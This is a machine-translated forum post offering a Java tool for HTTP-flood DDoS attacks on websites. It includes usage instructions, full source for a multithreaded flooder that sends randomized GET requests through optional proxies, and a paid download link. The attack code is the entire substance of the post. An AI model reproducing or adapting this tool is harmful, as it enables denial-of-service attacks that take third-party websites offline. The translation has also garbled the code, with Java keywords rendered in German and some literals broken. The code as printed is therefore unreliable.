|
|
Veröffentlicht am 01.12.2014 15:21:57
|
|
|

JAR-Code dDOS-Angriff von Java implementiert. Es unterscheidet sich jedoch nicht von traditionellen dDos. Diese Software ist ein DDOS-Angriff auf eine Seite. Wie man verwendet: Java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80
[mw_shl_code=java,true]import java.io.IOException; import java.net.ConnectException; import java.net.InetSocketAddress; import java.nio.ByteBuffer; import java.nio.channels.SelectionKey; java.nio.channels.Selector importieren; java.nio.channels.SocketChannel importieren; import java.util.Iterator; java.util.Random importieren; import java.util.Set; import java.util.Timer; import java.util.TimerTask; import java.util.Vector;
/** * Dämonenfäden
* * @author Verwaltung
* */ Public Class Test { privater String-Host, uri, Param; privater Int-Hafen; privater Endvektor<CCDDOSThread> v = neuer Vektor<CCDDOSThread>(); private InetSocketAddress isa; private Int Threads Anzahl = 500; Anzahl der Threads privat Zufällig r = neues Zufall(); Private Long Timeout = 5000 Pfund;
/** * Eröffnen Sie den Angriff */ public void start() { für (int i = 0; ich < threadsCount; i++) { CCDDOSThread t = neuer CCDDOSThread(); v.add(t); t.start();
} Timer t = neuer Timer(); t.schedule(new TimerTask() { Public Void run() { int count = 0, timeoutthreads = 0; long ct = System.currentTimeMillis(); für (Iterator<CCDDOSThread> = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); wenn (th.isCancle() || !th.isAlive()) { it.remove (); th = null; Zählen++; } sonst if (ct - th.start > timeout) { Auszeit, externes Ende timeoutthreads++; th.setCancle (wahr); th.interrupt(); it.remove (); th = null; Zählen++; } } wenn (Zählen == 0) { Rückgabe; } System.out.println("Thread has been closed:"+count+", wobei der Timeout-Thread verbunden ist:" + Timeout-Threads); für (int i = 0; Ich zähle <; i++) { CCDDOSThread th = neuer CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100p); System.out.println ("Daemon-Thread gestartet:"); }
/** * @param Args */ public static void main(String[] args) { wenn (args.length < 6) { System.out.println ("Anweisungen:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } sonst wenn (args.length >= 8) { Mit einem Agenten zusammenstellen System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
Test M = neuer Test(); m.host = args[0]; m.port = Integer.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Integer.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = neue InetSocketAddress(m.host, m.port); m.start(); }
/** * Angriffsthreads * * @author zhanghongbo * */ Klasse CCDDOSThread erweitert Thread { privater boolescher Cancle = falsch; öffentlicher langer Start = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
public boolean isCancle() { Cancle zurückzugeben; }
Public Void run() { langer Start = System.currentTimeMillis(); Selektor-Selektor; versuchen { selector = Selector.open(); SocketChannel sc; versuchen { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = wahr; selector.close(); Rückgabe; }
sc.configureBlocking(false); sc.register(Selektor, SelectionKey.OP_WRITE | SelectionKey.OP_READ); wait: while (selector.select() > 0 & !cancle) { if (System.currentTimeMillis() - start > timeout) { cancle = wahr; Pause, warte; } set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); während (it.hasNext() && !cancle) { if (System.currentTimeMillis() - start > timeout) { cancle = wahr; Pause, warte; } SelectionKey skey = (SelectionKey) it.next(); it.remove (); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Saitenkopf = "GET" + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + Host + "\r\n" + "Verbindung:Close\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} fangen (IOException ex) { cancle = wahr; } } }
} [/mw_shl_code]
Fertiges Produkt und Quellcode-Download:
java ddos.zip
(8.42 KB, Anzahl der Downloads: 0, Verkaufspreis: 2 Getreide MB)
|
Vorhergehend:Sprechen wir über den größten mysteriösen 400G-DDoS-Angriff der GeschichteNächster:Senden Sie das iPhone 6, um über die punktefreie Version mit Artefaktknacken zu sprechen
|